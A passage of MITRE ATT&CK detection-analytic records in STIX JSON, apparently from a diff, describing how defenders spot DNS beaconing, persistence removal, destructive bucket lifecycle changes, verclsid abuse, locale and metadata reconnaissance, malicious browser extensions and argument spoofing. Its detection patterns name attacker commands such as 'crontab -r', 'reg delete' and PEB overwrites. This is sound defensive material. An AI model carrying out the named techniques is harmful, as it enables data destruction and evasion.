"x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "socket/connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "Query to suspicious domain with high entropy or low reputation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DomainReputationFeed", + "description": "Whitelist/blacklist tuned with external threat intel sources" + }, + { + "field": "ProcessWhitelist", + "description": "Known safe daemons that frequently query domains" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e225927-bf50-4261-b1ae-d65e803da0b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0039#AN0111", + "external_id": "AN0111" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0111", + "description": "Inspect unified logs for anomalous DNS resolutions triggered by non-network applications. Flag repeated connections to newly registered or algorithmically generated domains. Correlate with endpoint process telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "DNS query with pseudo-random subdomain patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected applications generating outbound DNS queries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NewDomainThreshold", + "description": "Age of domain registration considered suspicious (e.g., < 30 days)" + }, + { + "field": "DNSQueryVolume", + "description": "Number of queries per process per time window" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3166927d-91e4-4e08-bfec-abda2783be8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0039#AN0112", + "external_id": "AN0112" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0112", + "description": "Monitor esxcli and syslog records for DNS resolver changes or repeated queries to unusual external domains by management agents. Detect unauthorized changes to VM or host network settings that redirect DNS lookups.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:syslog", + "channel": "esxcli network vswitch or DNS resolver configuration updates" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ResolverConfigPaths", + "description": "Expected resolvers or DNS forwarders in ESXi configurations" + }, + { + "field": "ExternalDomainWhitelist", + "description": "Set of trusted external domains expected for ESXi host activity" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5882d2ff-289e-454d-9146-81306c154be3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0113", + "external_id": "AN0113" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0113", + "description": "Detects adversary activity that removes persistence artifacts such as services, registry keys, scheduled tasks, user accounts, and binaries through commands like `sc delete`, `schtasks /delete`, or `reg delete`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", + "name": "WinEventLog:Security", + "channel": "EventCode=4726, 4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:TaskScheduler", + "channel": "EventCode=106" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetRegistryPathRegex", + "description": "Filters known persistence keys like Run/RunOnce, Image File Execution Options" + }, + { + "field": "DeletedScheduledTaskName", + "description": "Monitors known or suspicious task names deleted post-persistence" + }, + { + "field": "DeletedAccountGroupScope", + "description": "Focuses on highly privileged or recently created accounts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--83a2f3c2-24c5-466d-8453-aa52802c2991", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0114", + "external_id": "AN0114" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0114", + "description": "Detects removal of persistence artifacts such as crontab entries, systemd service units, and malicious user accounts through commands like `crontab -r`, `rm /etc/systemd/system/*.service`, or `userdel`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "file deletion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePathMatch", + "description": "Targets suspicious or orphaned unit files in /etc/systemd/system/" + }, + { + "field": "CronUserScope", + "description": "Focus on crontab activity from root or uncommon users" + }, + { + "field": "UserDeletionActivity", + "description": "Looks for userdel or passwd deletion" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81d64cae-ddd2-4512-9c8a-9a574b968c52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0115", + "external_id": "AN0115" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0115", + "description": "Detects deletion of launch agents (~/Library/LaunchAgents/) and launch daemons (/Library/LaunchDaemons/), especially after suspicious process execution or when tied to known persistence methods.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchDaemonPath", + "description": "Common plist file paths for persistence: ~/Library/LaunchAgents/*.plist" + }, + { + "field": "CorrelatedProcessImage", + "description": "Ties deletion to parent process (e.g., suspicious AppleScript runner)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c6ae166f-f2ac-405a-85c2-b7f9349a1b99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0116", + "external_id": "AN0116" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0116", + "description": "Detects adversary removal of persistence implants (e.g., rc.local entries or crontab injections) via CLI (`rm`, `sed`, `crontab -r`) and deletion of startup or management scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "esxi:shell", + "channel": "shell history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptRemovalPath", + "description": "e.g., /etc/rc.local, /etc/init.d/custom.sh" + }, + { + "field": "StartupEntryClearance", + "description": "Wipe or truncate of persistence locations" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f6f90ad5-3182-4b1a-a612-51b251a8a34c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0041#AN0117", + "external_id": "AN0117" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0117", + "description": "Adversary with write access to storage modifies lifecycle policies (e.g., via PutBucketLifecycle) to schedule rapid object deletion across one or more storage buckets. This is often used to trigger impact (destruction), remove logs (defense evasion), or force extortion (ransomware).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "name": "AWS:CloudTrail", + "channel": "PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LifecycleExpirationDays", + "description": "Policy values setting Expiration in fewer than N days (e.g., 0\u20131) are highly suspicious." + }, + { + "field": "TargetBucket", + "description": "Filter by bucket types (e.g., log storage, production DB snapshots) to prioritize detection." + }, + { + "field": "Principal", + "description": "Correlate rare or anomalous IAM principals making destructive lifecycle changes." + }, + { + "field": "TimeWindow", + "description": "Link lifecycle policy change with API activity suggesting staged deletion or extortion attempt." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e9f451b7-1b9e-420e-983a-3442547b7180", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-22 18:38:17.503000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0042#AN0118", + "external_id": "AN0118" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0118", + "description": "Detects abuse of verclsid.exe to execute COM objects by monitoring process creation, CLSID arguments, DLLs or scriptlet engines loaded into memory, and If the CLSID points to remote SCT/HTA content, verclsid.exe makes outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCLSIDs", + "description": "Baseline CLSIDs frequently invoked by verclsid.exe in normal shell extension verification." + }, + { + "field": "ParentProcessFilter", + "description": "Unusual parents (e.g., winword.exe, excel.exe) spawning verclsid.exe should be treated as suspicious." + }, + { + "field": "TimeWindow", + "description": "Correlation window between verclsid.exe start, module load, and network activity." + }, + { + "field": "ExternalIPRange", + "description": "Restrict detection to external IPs not in approved ranges to cut noise." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd4d2b49-6a27-41a7-ab20-d2a3791142bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0043#AN0119", + "external_id": "AN0119" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0119", + "description": "Unusual process or API usage attempting to query system locale, timezone, or keyboard layout (e.g., calls to GetLocaleInfoW, GetTimeZoneInformation). Detection can be enhanced by correlating with processes not typically associated with system configuration queries, such as unknown binaries or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Base", + "channel": "GetLocaleInfoW, GetTimeZoneInformation API calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessAllowList", + "description": "Defines trusted processes expected to call locale APIs. Deviations may indicate adversarial activity." + }, + { + "field": "TimeWindow", + "description": "Specifies correlation window for API calls and suspicious process execution (e.g., 2m)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d053d033-b587-4ed0-bdbc-0c6a9bdd7c82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0043#AN0120", + "external_id": "AN0120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0120", + "description": "Detection of commands accessing locale, timezone, or language settings such as 'locale', 'timedatectl', or parsing /etc/timezone. Anomalous execution by unusual users or automation scripts should be flagged.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve calls to locale, timedatectl, or cat /etc/timezone" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Unexpected users running location discovery commands may indicate malicious behavior." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0521835b-bc02-41ed-8e6a-153e6422ee9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0043#AN0121", + "external_id": "AN0121" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0121", + "description": "Detection of system calls or commands accessing system locale (e.g., 'defaults read -g AppleLocale', 'systemsetup -gettimezone'). Correlate with unusual parent processes or execution contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale, systemsetup -gettimezone" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionPath", + "description": "Restrict known binaries allowed to query system locale on macOS." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5b41efa6-7410-403b-ac07-89e262fa17ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0043#AN0122", + "external_id": "AN0122" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0122", + "description": "Detection of queries to instance metadata services (e.g., AWS IMDS, Azure Metadata Service) for availability zone, region, or network geolocation details. Correlation with non-management accounts or non-standard workloads may indicate adversary reconnaissance.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "AWS:CloudTrail", + "channel": "GetMetadata, DescribeInstanceIdentity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "azure:vpcflow", + "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MetadataQueryAllowList", + "description": "Expected services that query cloud metadata APIs. Any additional sources may be malicious." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db45c19b-d9d6-4794-8b49-ba232cca34b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0044#AN0123", + "external_id": "AN0123" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0123", + "description": "Installation of a new browser extension followed by suspicious file writes or outbound network connections to untrusted domains by the browser process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Extension installation by privileged or domain users may require higher scrutiny" + }, + { + "field": "BrowserExecutablePath", + "description": "Custom or portable browsers may not match default paths" + }, + { + "field": "ExtensionInstallPath", + "description": "Installation paths may vary by version or user profile" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--41153f33-d415-4e1d-b3c8-7333b2f1915e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0044#AN0124", + "external_id": "AN0124" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0124", + "description": "Installation of malicious .mobileconfig profiles or browser extension plist entries followed by abnormal browser child process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "profiles install -type=configuration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation or modification of browser extension .plist files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected child process of Safari or Chrome" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistPath", + "description": "Different versions may store extensions in variant preference folders" + }, + { + "field": "CommandLineFlags", + "description": "May vary with OS version; some install flags deprecated in macOS 11+" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b5020e23-475e-4f74-a943-787e090d3e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0044#AN0125", + "external_id": "AN0125" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0125", + "description": "Manual or scripted installation of Chrome extensions using user scripts or config files, followed by unexpected network connections from browser processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Browser connections to known C2 or dynamic DNS domains" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExtensionDir", + "description": "Location of Chrome/Chromium extensions under user profile may vary" + }, + { + "field": "DomainWatchlist", + "description": "Custom list of suspicious destination domains for browser traffic" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--84ad99e5-4e6e-4d07-93ae-9e55e6f99707", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0045#AN0126", + "external_id": "AN0126" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0126", + "description": "Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspendedProcessWindow", + "description": "Time window in which a process remains in suspended state before being modified. Tunable based on baseline activity in the environment." + }, + { + "field": "SensitiveProcesses", + "description": "List of critical processes (e.g., explorer.exe, lsass.exe) where argument spoofing is highly suspicious. Can be customized per organization." + }, + { + "field": 